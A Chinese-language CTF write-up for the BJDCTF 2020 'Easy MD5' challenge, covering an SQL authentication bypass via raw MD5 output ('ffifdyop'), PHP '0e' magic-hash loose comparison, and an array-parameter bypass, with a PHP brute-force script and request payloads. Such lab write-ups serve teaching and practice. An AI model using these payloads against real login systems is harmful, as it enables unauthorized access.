> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2020/2020-bjdctf/easy-md5.md).

# Easy MD5

**第一关**

包里有hint：

看下MD5的用法：

```
md5(string,row)
```

构造需求：

* 需要构造的值a，经过md5后生成16字符二进制的数值。

```
xxxxxxxxxxxxxxxx
```

* 该十六字符二进制的数值转成十六进制

```
xxxxxx
```

* 十六进制转换为字符串，当满足以下格式：

```
'or'xxxx
```

拼接后的SQL语句

```
select * from `admin` where password=''or'xxxx'
```

在SQL中，当字符串的开头为非0数字时，会被当做整型进行解析，即构造一句万能钥匙。

这里用到的[exp](http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/)为

```
<?php
echo (md5("ffifdyop", true));
for ($i = 0;;) {
    for ($c = 0; $c < 1000000; $c++, $i++)
        if (stripos(md5($i, true), '\'or\'') !== false)
            echo "\nmd5($i) = " . md5($i, true) . "\n";
    echo ".";

}
?>
```

当payload&#x4E3A;**`ffifdyop`**&#x65F6;，满足条件，此时的字符串&#x4E3A;**`'or'6<trash>`**。\<trash>为不可打印字符简写，提交后通关

**第二关**

源码有代码

```
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->
```

赵师傅又要女朋友了。这题是MD5函数漏洞，随便找两个MD5加密后开头为0e的字符串就可以了。

```
?a=QNKCDZO&b=s878926199a
```

**第三关**

```
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}
```

数组绕过

```
param1[]=1&param2[]=2
```
